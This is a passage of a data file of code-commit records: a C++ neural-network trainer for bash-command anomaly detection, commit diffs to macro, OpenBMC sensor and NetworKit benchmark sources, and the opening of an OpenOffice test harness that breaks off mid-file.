daily_user_statistics_count << \" daily user statistics\";\n\n util::RunPartially(MAX_ROWS_IN_MEMORY, daily_user_statistics_count, [&](long long part_count, long long offset) {\n auto daily_user_statistics = database_functions_->GetSelectedDailyUserStatisticsWithoutUnknownClassificationFromConfigurationByUser(configuration.id, user_id, part_count, offset);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << daily_user_statistics.size() << \" statistics in part\";\n\n for (const auto &statistic : daily_user_statistics) {\n std::fill(input.begin(), input.end(), 0);\n\n auto commands_statistics = database_functions_->GetSelectedDailyUserCommandsStatistics(statistic.id);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << commands_statistics.size() << \" selected daily user commands statistics with statistic id \" << statistic.id;\n\n selected_commands_position = 0;\n commands_statistics_position = 0;\n while (selected_commands_position < selected_commands_ids.size()\n && commands_statistics_position < commands_statistics.size()) {\n const auto &command_statistic = commands_statistics.at(commands_statistics_position);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Position \" << selected_commands_position;\n\n if (command_statistic.command_id == selected_commands_ids.at(selected_commands_position)) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found command with id \" << command_statistic.command_id;\n\n input.at(selected_commands_position) = command_statistic.summary;\n commands_statistics_position++;\n }\n\n selected_commands_position++;\n }\n\n std::transform(input.begin(), input.end(), input.begin(), divider);\n\n if (statistic.classification == ::database::type::Classification::ANOMALY)\n output.at(user_output_position) = -1;\n else if (statistic.classification == ::database::type::Classification::NORMAL)\n output.at(user_output_position) = 1;\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Classification set: \" << output.at(user_output_position);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Saving to file\";\n\n for (const auto &v : input)\n file << v << \" \";\n file << '\\n';\n\n for (const auto &v : output)\n file << v << \" \";\n file << '\\n';\n }\n });\n\n output.at(user_output_position) = -1;\n user_output_position++;\n }\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Closing training file\";\n file.close();\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Done\";\n}\n\nvoid NetworkTrainer::CreateNetworkConfiguration(const ::bash::database::type::AnomalyDetectionConfiguration &configuration) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateNetworkConfiguration: Done\";\n\n auto users = database_functions_->GetUsersIdsFromSelectedDailyStatisticsInConfiguration(configuration.id);\n\n constexpr::database::type::RowsCount MAX_ROWS_IN_MEMORY = 100;\n constexpr unsigned int number_of_inputs = 100;\n constexpr unsigned int number_of_layers = 3;\n constexpr unsigned int number_of_hidden_neurons = 3;\n const unsigned int number_of_outputs = users.size();\n constexpr float desired_error = 0.001f;\n constexpr unsigned int max_epochs = 100;\n constexpr unsigned int epochs_between_reports = max_epochs;\n\n const std::string file_path = neural_network_data_directory_ + \"\/training-\" + std::to_string(configuration.id) + \".data\";\n const std::string network_configuration_file_path = neural_network_data_directory_ + \"\/network-\" + std::to_string(configuration.id) + \".data\";\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateNetworkConfiguration: Creating network\";\n\n struct fann *ann = fann_wrapper_->CreateStandard(number_of_layers, number_of_inputs, number_of_hidden_neurons, number_of_outputs);\n ::library::fann::FannGuard fann_guard(ann);\n\n fann_wrapper_->SetActivationFunctionHidden(ann, FANN_SIGMOID);\n fann_wrapper_->SetActivationFunctionOutput(ann, FANN_SIGMOID);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateNetworkConfiguration: Training network\";\n fann_wrapper_->TrainOnFile(ann, file_path, max_epochs, epochs_between_reports, desired_error);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateNetworkConfiguration: Saving network to file: \" << network_configuration_file_path;\n fann_wrapper_->Save(ann, network_configuration_file_path);\n}\n\n}\n\n}\n\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"wrd-deps.hpp\"\n\n\/\/\tWorld는 객체 안에서 다른 객체에 접근하는 접근자함수들에 경우에는 DelayingNullCorruption으로 인해 객체가 Null이라고 해도 Null을 반환할뿐 프로그램이 죽지는 않는다.\n\/\/\t접근자 아닌 경우에는 \"속도문제\" 로 인해 수행하지 않는다.\n\/\/\t또한 반환형이 객체에 대한 레퍼런스나 포인터가 아닌경우에도 정상적인 반환값과 겹칠 수있기 때문에 체크하지 않는다.\n#define WRD_IS_NULL_2(VALUE, RET)\t\\\n\tif((VALUE.isNull())) {\t\t\t\\\n\t\tRET.warn(#VALUE);\t\t\t\\\n\t\treturn RET;\t\t\t\t\t\\\n\t}\n#define WRD_IS_NULL_1(VALUE)\t\t\\\n\tWRD_IS_NULL_2(VALUE, NullPtr)\n#define WRD_IS_NULL(...) WRD_OVERLOAD(WRD_IS_NULL, __VA_ARGS__)\n\n\/\/\tmultiple NULL check macro:\n\/\/\t\tif you need to check plenty arguments to be checked null\n\/\/\t\tand return value will be same, you can accomplish it conveniently\n\/\/\t\twith this macro.\n\/\/\n\/\/\t\tusage:\n\/\/\t\t\tWRD_IS_NULL(arg1, -1)\n\/\/\t\t\tWRD_IS_NULL(arg2, -1)\n\/\/\t\t\tWRD_IS_NULL(arg3, -1)\n\/\/\t\t\t\tor\n\/\/\t\t\tWRD_ARE_NULL(-1, arg1, arg2, arg3)\n#define _ARE_NULL(VALUE, RET)\t\tWRD_IS_NULL(VALUE, RET)\n#define WRD_ARE_NULL(RET, ...)\t\tNE_EACH_EXPAND(_ARE_NULL, RET, __VA_ARGS__)\n\n#define WRD_IS_THIS_1(TYPE)\t\t\tWRD_IS_NULL(*this, Nuller<Type>::ref)\n#define WRD_IS_THIS_0()\t\t\t\tWRD_IS_THIS_1(This)\n#define WRD_IS_THIS(...) \t\t\tWRD_OVERLOAD(WRD_IS_THIS, __VA_ARGS__)\n\n#define WRD_IS_SUPER_1(call) \\\n if(Super:: call ) return SuperFail;\n#define WRD_IS_SUPER_2(res, call) \\\n Result& res = Super:: call ; \\\n if(res) return SuperFail;\n#define WRD_IS_SUPER(...) WRD_OVERLOAD(WRD_IS_SUPER, __VA_ARGS__)\n\n#define WRD_IS_CONST(RET)\t\t\t\\\n\tif((this->isConst())) {\t\t\t\\\n\t\tConstCancel.warn(#RET);\t\t\\\n\t\treturn RET;\t\t\t\t\t\\\n\t}\n\n#define WRD_ASSERT_4(expr, ret, dump, msg) \\\n if( (expr) ) \\\n return ret.dump(msg);\n#define WRD_ASSERT_3(expr, ret, msg)\t\tWRD_ASSERT_4(expr, ret, warn, msg)\n#define WRD_ASSERT_2(expr, ret)\t\t\t\tWRD_ASSERT_4(expr, ret, warn, \"\")\n#define WRD_ASSERT_1(expr) WRD_ASSERT_4(expr, Invalid, warn, \"\")\n#define WRD_ASSERT(...) \tWRD_OVERLOAD(WRD_ASSERT, __VA_ARGS__)\n\n#define WRD_IS_RES_5(expr, ret, chk, dump, msg) \\\n { \t\\\n const Result& res = expr; \t\\\n WRD_ASSERT(res.chk, ret, dump, msg) \t\\\n }\n#define WRD_IS_RES_4(expr, chk, dump, msg) WRD_IS_RES_5(expr, res, chk, dump, msg)\n#define WRD_IS_RES_3(expr, chk, msg) WRD_IS_RES_5(expr, res, chk, warn, msg)\n#define WRD_IS_RES_2(expr, chk) \tWRD_IS_RES_5(expr, res, chk, warn, #expr)\n#define WRD_IS_RES(...) \tWRD_OVERLOAD(WRD_IS_RES, __VA_ARGS__)\n\n#define WRD_IS_WARN_3(expr, ret, msg) \tWRD_IS_RES(expr, ret, isWarn(), warn, msg)\n#define WRD_IS_WARN_2(expr, ret) WRD_IS_RES(expr, ret, isWarn(), warn, #expr)\n#define WRD_IS_WARN_1(expr) \tWRD_IS_RES(expr, isWarn())\n#define WRD_IS_WARN(...) WRD_OVERLOAD(WRD_IS_WARN, __VA_ARGS__)\n\n#define WRD_IS_ERR_3(expr, ret, msg) WRD_IS_RES(expr, ret, isErr(), err, msg)\n#define WRD_IS_ERR_2(expr, ret) \tWRD_IS_RES(expr, ret, isErr(), err, #expr)\n#define WRD_IS_ERR_1(expr) WRD_IS_RES(expr, isErr())\n#define WRD_IS_ERR(...) \tWRD_OVERLOAD(WRD_IS_ERR, __VA_ARGS__)\n#define WRD_IS_GOOD_3(expr, ret, msg) \tWRD_IS_RES(expr, ret, isGood(), info, msg)\n#define WRD_IS_GOOD_2(expr, ret) WRD_IS_RES(expr, ret, isGood(), info, #expr)\t\n#define WRD_IS_GOOD_1(expr) \tWRD_IS_RES(expr, isGood())\n#define WRD_IS_GOOD(...) WRD_OVERLOAD(WRD_IS_GOOD, __VA_ARGS__)\n\n#define _CLASS_BASE\t\t\t\t\t\\\n public:\t\t\t\t\t\t\t\\\n virtual WRD_LAZY_METHOD(Class&, getClass, const, TClass<This>, WRD_VOID) \\\n TStrong<This> clone() const { return _clone(); } \\\n\t\tvirtual TStrong<Instance> _clone() const { \\\n\t\t\treturn new This(*this);\t\\\n\t\t}\n#define WRD_CLASS_2(THIS, SUPER) \t\\\n WRD_INHERIT(THIS, SUPER) \t\\\n _CLASS_BASE\n#define WRD_CLASS_1(THIS)\t\t\t\\\n WRD_INHERIT(THIS)\t\t\t\t\\\n _CLASS_BASE\n#define WRD_CLASS(...) WRD_OVERLOAD(WRD_CLASS, __VA_ARGS__)\n<commit_msg>- [wrd] fix macro has not been declared error.<commit_after>#pragma once\n\n#include \"wrd-deps.hpp\"\n\n\/\/\tWorld는 객체 안에서 다른 객체에 접근하는 접근자함수들에 경우에는 DelayingNullCorruption으로 인해 객체가 Null이라고 해도 Null을 반환할뿐 프로그램이 죽지는 않는다.\n\/\/\t접근자 아닌 경우에는 \"속도문제\" 로 인해 수행하지 않는다.\n\/\/\t또한 반환형이 객체에 대한 레퍼런스나 포인터가 아닌경우에도 정상적인 반환값과 겹칠 수있기 때문에 체크하지 않는다.\n#define WRD_IS_NULL_2(VALUE, RET)\t\\\n\tif((VALUE.isNull())) {\t\t\t\\\n\t\tRET.warn(#VALUE);\t\t\t\\\n\t\treturn RET;\t\t\t\t\t\\\n\t}\n#define WRD_IS_NULL_1(VALUE)\t\t\\\n\tWRD_IS_NULL_2(VALUE, NullPtr)\n#define WRD_IS_NULL(...) WRD_OVERLOAD(WRD_IS_NULL, __VA_ARGS__)\n\n\/\/\tmultiple NULL check macro:\n\/\/\t\tif you need to check plenty arguments to be checked null\n\/\/\t\tand return value will be same, you can accomplish it conveniently\n\/\/\t\twith this macro.\n\/\/\n\/\/\t\tusage:\n\/\/\t\t\tWRD_IS_NULL(arg1, -1)\n\/\/\t\t\tWRD_IS_NULL(arg2, -1)\n\/\/\t\t\tWRD_IS_NULL(arg3, -1)\n\/\/\t\t\t\tor\n\/\/\t\t\tWRD_ARE_NULL(-1, arg1, arg2, arg3)\n#define _ARE_NULL(VALUE, RET)\t\tWRD_IS_NULL(VALUE, RET)\n#define WRD_ARE_NULL(RET, ...)\t\tNE_EACH_EXPAND(_ARE_NULL, RET, __VA_ARGS__)\n\n#define WRD_IS_THIS_1(TYPE)\t\t\tWRD_IS_NULL(*this, Nuller<Type>::ref)\n#define WRD_IS_THIS_0()\t\t\t\tWRD_IS_THIS_1(This)\n#define WRD_IS_THIS(...) \t\t\tWRD_OVERLOAD(WRD_IS_THIS, __VA_ARGS__)\n\n#define WRD_IS_SUPER_1(call) \\\n if(Super:: call ) return SuperFail;\n#define WRD_IS_SUPER_2(res, call) \\\n Result& res = Super:: call ; \\\n if(res) return SuperFail;\n#define WRD_IS_SUPER(...) WRD_OVERLOAD(WRD_IS_SUPER, __VA_ARGS__)\n\n#define WRD_IS_CONST(RET)\t\t\t\\\n\tif((this->isConst())) {\t\t\t\\\n\t\tConstCancel.warn(#RET);\t\t\\\n\t\treturn RET;\t\t\t\t\t\\\n\t}\n\n#define WRD_ASSERT_4(expr, ret, dump, msg) \\\n if( (expr) ) \\\n return ret.dump(msg);\n#define WRD_ASSERT_3(expr, ret, msg)\t\tWRD_ASSERT_4(expr, ret, warn, msg)\n#define WRD_ASSERT_2(expr, ret)\t\t\t\tWRD_ASSERT_4(expr, ret, warn, \"\")\n#define WRD_ASSERT_1(expr) WRD_ASSERT_4(expr, Invalid, warn, \"\")\n#define WRD_ASSERT(...) \tWRD_OVERLOAD(WRD_ASSERT, __VA_ARGS__)\n\n#define WRD_IS_RES_5(expr, ret, chk, dump, msg) \\\n { \t\\\n const Result& res = expr; \t\\\n WRD_ASSERT(res.chk, ret, dump, msg) \t\\\n }\n#define WRD_IS_RES_4(expr, chk, dump, msg) WRD_IS_RES_5(expr, res, chk, dump, msg)\n#define WRD_IS_RES_3(expr, chk, msg) WRD_IS_RES_5(expr, res, chk, warn, msg)\n#define WRD_IS_RES_2(expr, chk) \tWRD_IS_RES_5(expr, res, chk, warn, #expr)\n#define WRD_IS_RES(...) \tWRD_OVERLOAD(WRD_IS_RES, __VA_ARGS__)\n\n#define WRD_IS_WARN_3(expr, ret, msg) \tWRD_IS_RES(expr, ret, isWarn(), warn, msg)\n#define WRD_IS_WARN_2(expr, ret) WRD_IS_RES(expr, ret, isWarn(), warn, #expr)\n#define WRD_IS_WARN_1(expr) \tWRD_IS_RES(expr, isWarn())\n#define WRD_IS_WARN(...) WRD_OVERLOAD(WRD_IS_WARN, __VA_ARGS__)\n\n#define WRD_IS_ERR_3(expr, ret, msg) WRD_IS_RES(expr, ret, isErr(), err, msg)\n#define WRD_IS_ERR_2(expr, ret) \tWRD_IS_RES(expr, ret, isErr(), err, #expr)\n#define WRD_IS_ERR_1(expr) WRD_IS_RES(expr, isErr())\n#define WRD_IS_ERR(...) \tWRD_OVERLOAD(WRD_IS_ERR, __VA_ARGS__)\n#define WRD_IS_GOOD_3(expr, ret, msg) \tWRD_IS_RES(expr, ret, isGood(), info, msg)\n#define WRD_IS_GOOD_2(expr, ret) WRD_IS_RES(expr, ret, isGood(), info, #expr)\t\n#define WRD_IS_GOOD_1(expr) \tWRD_IS_RES(expr, isGood())\n#define WRD_IS_GOOD(...) WRD_OVERLOAD(WRD_IS_GOOD, __VA_ARGS__)\n\n#define _CLASS_BASE\t\t\t\t\t\\\n public:\t\t\t\t\t\t\t\\\n virtual WRD_LAZY_METHOD_5(Class&, getClass, const, TClass<This>, WRD_VOID) \\\n TStrong<This> clone() const { return _clone(); } \\\n\t\tvirtual TStrong<Instance> _clone() const { \\\n\t\t\treturn new This(*this);\t\\\n\t\t}\n#define WRD_CLASS_2(THIS, SUPER) \t\\\n WRD_INHERIT_2(THIS, SUPER) \t\\\n _CLASS_BASE\n#define WRD_CLASS_1(THIS)\t\t\t\\\n WRD_INHERIT_1(THIS)\t\t\t\t\\\n _CLASS_BASE\n#define WRD_CLASS(...) WRD_OVERLOAD(WRD_CLASS, __VA_ARGS__)\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <xyz\/openbmc_project\/Sensor\/Value\/server.hpp>\n#include <xyz\/openbmc_project\/Sensor\/Threshold\/Warning\/server.hpp>\n#include <xyz\/openbmc_project\/Sensor\/Threshold\/Critical\/server.hpp>\n#include <sdbusplus\/server.hpp>\n\ntemplate <typename T>\nusing ServerObject = typename sdbusplus::server::object::object<T>;\n\nusing ValueInterface = sdbusplus::xyz::openbmc_project::Sensor::server::Value;\nusing ValueObject = ServerObject<ValueInterface>;\nusing WarningInterface =\n sdbusplus::xyz::openbmc_project::Sensor::Threshold::server::Warning;\nusing WarningObject = ServerObject<WarningInterface>;\nusing CriticalInterface =\n sdbusplus::xyz::openbmc_project::Sensor::Threshold::server::Critical;\nusing CriticalObject = ServerObject<CriticalInterface>;\n\nenum class InterfaceType\n{\n VALUE,\n WARN,\n CRIT,\n};\n\n\/\/ vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n<commit_msg>Fix sdbusplus::server::object template wrapper<commit_after>#pragma once\n\n#include <xyz\/openbmc_project\/Sensor\/Value\/server.hpp>\n#include <xyz\/openbmc_project\/Sensor\/Threshold\/Warning\/server.hpp>\n#include <xyz\/openbmc_project\/Sensor\/Threshold\/Critical\/server.hpp>\n#include <sdbusplus\/server.hpp>\n\ntemplate <typename... T>\nusing ServerObject = typename sdbusplus::server::object::object<T...>;\n\nusing ValueInterface = sdbusplus::xyz::openbmc_project::Sensor::server::Value;\nusing ValueObject = ServerObject<ValueInterface>;\nusing WarningInterface =\n sdbusplus::xyz::openbmc_project::Sensor::Threshold::server::Warning;\nusing WarningObject = ServerObject<WarningInterface>;\nusing CriticalInterface =\n sdbusplus::xyz::openbmc_project::Sensor::Threshold::server::Critical;\nusing CriticalObject = ServerObject<CriticalInterface>;\n\nenum class InterfaceType\n{\n VALUE,\n WARN,\n CRIT,\n};\n\n\/\/ vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n<|endoftext|>"} {"text":"<commit_before>\/*\n * CommunityDetectionBenchmark.h\n *\n * Created on: 16.05.2014\n * Author: Klara Reichard (klara.reichard@gmail.com), Marvin Ritter (marvin.ritter@gmail.com)\n *\/\n\n#ifndef NOGTEST\n\n#include <map>\n\n#include \"CommunityDetectionBenchmark.h\"\n#include \"..\/PLP.h\"\n#include \"..\/PLM.h\"\n#include \"..\/Modularity.h\"\n#include \"..\/..\/centrality\/Betweenness.h\"\n#include \"..\/..\/centrality\/PageRank.h\"\n#include \"..\/..\/auxiliary\/Timer.h\"\n#include \"..\/..\/structures\/Partition.h\"\n\nnamespace NetworKit {\n\nvoid CommunityDetectionBenchmark::SetUp() {\n\n}\n\nTEST_F(CommunityDetectionBenchmark, timeClusteringAlgos) {\n\tAux::Timer timer;\n\tModularity mod;\n\n\t\/\/ std::string graph = \"..\/graphs\/uk-2002.graph\";\n\tstd::string graph = \"..\/graphs\/uk-2007-05.graph\";\n\tprintf(\"Reading graph file %s ...\\n\", graph.c_str());\n\ttimer.start();\n\tconst Graph G = this->metisReader.read(graph);\n\ttimer.stop();\n\tprintf(\"Reading graph took %.1f s\\n\", timer.elapsedMilliseconds() \/ 1000.0);\n\n\tstd::map<std::string, CommunityDetectionAlgorithm*> algos = {\n\t\tstd::make_pair(\"Parallel Label Propagation\", (CommunityDetectionAlgorithm*) new PLP),\n\t\tstd::make_pair(\"Parallel Louvain\", (CommunityDetectionAlgorithm*) new PLM)\n\t};\n\n\tfor (auto it = algos.begin(); it != algos.end(); it++) {\n\t\tGraph Gcopy = G;\n\n\t\tprintf(\"Timing %s ...\\n\", it->first.c_str());\n\t\ttimer.start();\n\t\tPartition zeta = it->second->run(Gcopy);\n\t\ttimer.stop();\n\n\t\tauto communitySizes = zeta.subsetSizes();\n\n\t\tprintf(\"%s on %s: %.1f s\\n\\t# communities: %llu\\n\\tmodularity: %f\\n\",\n\t\t\tit->first.c_str(), graph.c_str(),\n\t\t\ttimer.elapsedMilliseconds() \/ 1000.0,\n\t\t\tzeta.numberOfSubsets(),\n\t\t\tmod.getQuality(zeta, G));\n\t\t\n\t\tdelete it->second;\n\t}\n}\n\nTEST_F(CommunityDetectionBenchmark, timeCentralities) {\n\tAux::Timer timer;\n\n\tstd::string graph = \"..\/graphs\/cond-mat-2005.graph\";\n\tconst Graph G = this->metisReader.read(graph);\n\n\tGraph G1 = this->metisReader.read(\"..\/graphs\/cond-mat.graph\");\n\tGraph G2 = this->metisReader.read(\"..\/graphs\/uk-2002.graph\");\n\tstd::map<std::string, Centrality*> cens = {\n\t\tstd::make_pair(\"Betweenness Centrality on cond-mat\", (Centrality*) new Betweenness(G1)),\n\t\tstd::make_pair(\"Page Rank Centrality on uk-2002\", (Centrality*) new PageRank(G2, 1e-6))\n\t};\n\n\tfor (auto it = cens.begin(); it != cens.end(); it++) {\n\t\ttimer.start();\n\t\tit->second->run();\n\t\ttimer.stop();\n\t\tauto ranking = it->second->ranking();\n\n\t\tprintf(\"%s: %.1f s\\n\\tranking: [(%llu: %f), (%llu: %f), ...]\\n\",\n\t\t\tit->first.c_str(),\n\t\t\ttimer.elapsedMilliseconds() \/ 1000.0,\n\t\t\tranking[0].first, ranking[0].second,\n\t\t\tranking[1].first, ranking[1].second); \n\t}\n}\t\n\n} \/* namespace NetworKit *\/\n\n#endif \/*NOGTEST *\/\n<commit_msg>updated benchmark to make multiple runs<commit_after>\/*\n * CommunityDetectionBenchmark.h\n *\n * Created on: 16.05.2014\n * Author: Klara Reichard (klara.reichard@gmail.com), Marvin Ritter (marvin.ritter@gmail.com)\n *\/\n\n#ifndef NOGTEST\n\n#include <map>\n#include <functional>\n\n#include \"CommunityDetectionBenchmark.h\"\n#include \"..\/PLP.h\"\n#include \"..\/PLM.h\"\n#include \"..\/Modularity.h\"\n#include \"..\/..\/centrality\/Betweenness.h\"\n#include \"..\/..\/centrality\/PageRank.h\"\n#include \"..\/..\/auxiliary\/Timer.h\"\n#include \"..\/..\/structures\/Partition.h\"\n\nnamespace NetworKit {\n\nconstexpr int runs = 20;\n\nvoid CommunityDetectionBenchmark::SetUp() {\n\n}\n\nTEST_F(CommunityDetectionBenchmark, timeClusteringAlgos) {\n\tAux::Timer timer;\n\tModularity mod;\n\n\t\/\/ std::string graph = \"..\/graphs\/in-2004.graph\";\n\t\/\/ std::string graph = \"..\/graphs\/uk-2002.graph\";\n\tstd::string graph = \"..\/graphs\/uk-2007-05.graph\";\n\n\tprintf(\"Reading graph file %s ...\\n\", graph.c_str());\n\ttimer.start();\n\tconst Graph G = this->metisReader.read(graph);\n\ttimer.stop();\n\tprintf(\"Reading graph took %.1f s\\n\", timer.elapsedMilliseconds() \/ 1000.0);\n\n\tfor (int r = 0; r < runs; r++) {\n\t\tGraph Gcopy = G;\n\t\tPLP algo;\n\n\t\ttimer.start();\n\t\tPartition zeta = algo.run(Gcopy);\n\t\ttimer.stop();\n\n\t\tauto communitySizes = zeta.subsetSizes();\n\n\t\tprintf(\"%s on %s: %.1f s\\n\\t# communities: %lu\\n\\tmodularity: %f\\n\",\n\t\t\t\"Parallel Label Propagation\", graph.c_str(),\n\t\t\ttimer.elapsedMilliseconds() \/ 1000.0,\n\t\t\tzeta.numberOfSubsets(),\n\t\t\tmod.getQuality(zeta, G));\n\t}\n\n\tfor (int r = 0; r < runs; r++) {\n\t\tGraph Gcopy = G;\n\t\tPLM algo;\n\n\t\ttimer.start();\n\t\tPartition zeta = algo.run(Gcopy);\n\t\ttimer.stop();\n\n\t\tauto communitySizes = zeta.subsetSizes();\n\n\t\tprintf(\"%s on %s: %.1f s\\n\\t# communities: %lu\\n\\tmodularity: %f\\n\",\n\t\t\t\"Parallel Louvain\", graph.c_str(),\n\t\t\ttimer.elapsedMilliseconds() \/ 1000.0,\n\t\t\tzeta.numberOfSubsets(),\n\t\t\tmod.getQuality(zeta, G));\n\t}\n}\n\nTEST_F(CommunityDetectionBenchmark, timePageRankCentrality) {\n\tAux::Timer timer;\n\n\tstd::string graph = \"..\/graphs\/uk-2002.graph\";\n\tconst Graph G = this->metisReader.read(graph);\n\n\tfor (int r = 0; r < runs; r++) {\n\t\tPageRank cen(G, 1e-6);\n\n\t\ttimer.start();\n\t\tcen.run();\n\t\ttimer.stop();\n\t\tauto ranking = cen.ranking();\n\n\t\tprintf(\"%s on %s: %.1f s\\n\\tranking: [(%lu: %f), (%lu: %f), ...]\\n\",\n\t\t\t\"Page Rank Centrality\", graph.c_str(),\n\t\t\ttimer.elapsedMilliseconds() \/ 1000.0,\n\t\t\tranking[0].first, ranking[0].second,\n\t\t\tranking[1].first, ranking[1].second, \n\t\t\tranking[2].first, ranking[2].second); \n\t}\n}\t\n\nTEST_F(CommunityDetectionBenchmark, timeBetweennessCentrality) {\n\tAux::Timer timer;\n\n\tstd::string graph = \"..\/graphs\/cond-mat-2005.graph\";\n\tconst Graph G = this->metisReader.read(graph);\n\n\tfor (int r = 0; r < runs; r++) {\n\t\tBetweenness cen(G);\n\n\t\ttimer.start();\n\t\tcen.run();\n\t\ttimer.stop();\n\t\tauto ranking = cen.ranking();\n\n\t\tprintf(\"%s on %s: %.1f s\\n\\tranking: [(%lu: %f), (%lu: %f), ...]\\n\",\n\t\t\t\"Betweenness Centrality\", graph.c_str(),\n\t\t\ttimer.elapsedMilliseconds() \/ 1000.0,\n\t\t\tranking[0].first, ranking[0].second,\n\t\t\tranking[1].first, ranking[1].second, \n\t\t\tranking[2].first, ranking[2].second); \n\t}\n}\t\n\n\n} \/* namespace NetworKit *\/\n\n#endif \/*NOGTEST *\/\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: testshl_test.cxx,v $\n *\n * $Revision: 1.1 $\n *\n * last change: $Author: lla $ $Date: 2003-01-09 11:06:19 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#include <stdio.h>\n\n#ifdef WNT\n\/\/ #define UNDER_WINDOWS_DEBUGGING\n\/\/ Nice feature, to debug under windows, install msdev locally and use DebugBreak() to stop a new process at a point you want.\n#ifdef UNDER_WINDOWS_DEBUGGING\n#include <tools\/presys.h>\n#include <windows.h>\n#include <tools\/postsys.h>\n\n#define VCL_NEED_BASETSD\n\n#endif \/* UNDER_WINDOWS_DEBUGGING *\/\n#endif \/* WNT *\/\n\n\n#include <vector>\n\n\n#ifndef _SAL_TRES_H_\n#include <rtl\/tres.h>\n#endif\n\n#ifndef _TESTSHL_TSTMGR_H_\n#include \"tstmgr.h\"\n#endif\n\n#ifndef _RTL_STRING_HXX_\n #include <rtl\/string.hxx>\n#endif\n\n#include <osl\/time.h>\n\nusing namespace std;\n\n\n\/**\n * create bitmap of comandline parameters\n *\/\nsal_uInt32 createFlags( vector< sal_Char* > const& cmdln )\n{\n sal_uInt32 retflags = rtl_tres_Flag_OK;\n\n vector< sal_Char* >::const_iterator iter = cmdln.begin();\n while( iter != cmdln.end() )\n {\n fprintf( stderr, \"%s\\n\", *iter );\n if ( *iter[0] == '-' )\n {\n rtl::OString item( *iter );\n if ( item == \"-boom\" )\n retflags |= rtl_tres_Flag_BOOM;\n\n if ( item == \"-verbose\" )\n retflags |= rtl_tres_Flag_VERBOSE;\n\n if ( item == \"-skip\" )\n retflags |= rtl_tres_Flag_SKIP;\n\n if ( item == \"-log\" )\n retflags |= rtl_tres_Flag_LOG;\n\n if ( item == \"-his\" )\n retflags |= rtl_tres_Flag_HIS;\n\n if ( item == \"-time\" )\n retflags |= rtl_tres_Flag_TIME;\n\n if ( item == \"-msg\" )\n retflags |= rtl_tres_Flag_MSG;\n }\n iter++;\n }\n\n return retflags;\n}\n\nsal_uInt32 createFlags(int argc, char* argv[])\n{\n vector< sal_Char* > cmdln;\n sal_Int32 i;\n\n \/* collect comandline *\/\n for ( i = 1; i < argc; i++ )\n cmdln.push_back( argv[i] );\n\n return createFlags(cmdln);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\n\/**\n * display usage screen\n *\/\n\nvoid usage()\n{\n fprintf( stdout,\n \"USAGE: testshl shlname scename [-boom][-verbose][-log][-his][-msg]\\n\" );\n exit(0);\n}\n\n\n#include <fstream>\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/TestCaller.h>\n#include <cppunit\/TestSuite.h>\n#include <cppunit\/TestResult.h>\n#include <cppunit\/TestResultCollector.h>\n#include <cppunit\/TestAssert.h>\n#include <cppunit\/TextTestResult.h>\n\nnamespace CppunitTest\n{\n class AStringTest : public CppUnit::TestCase\n {\n rtl::OString *m_pStr;\n public:\n AStringTest()\n :m_pStr(NULL) {}\n\n void setUp()\n {\n 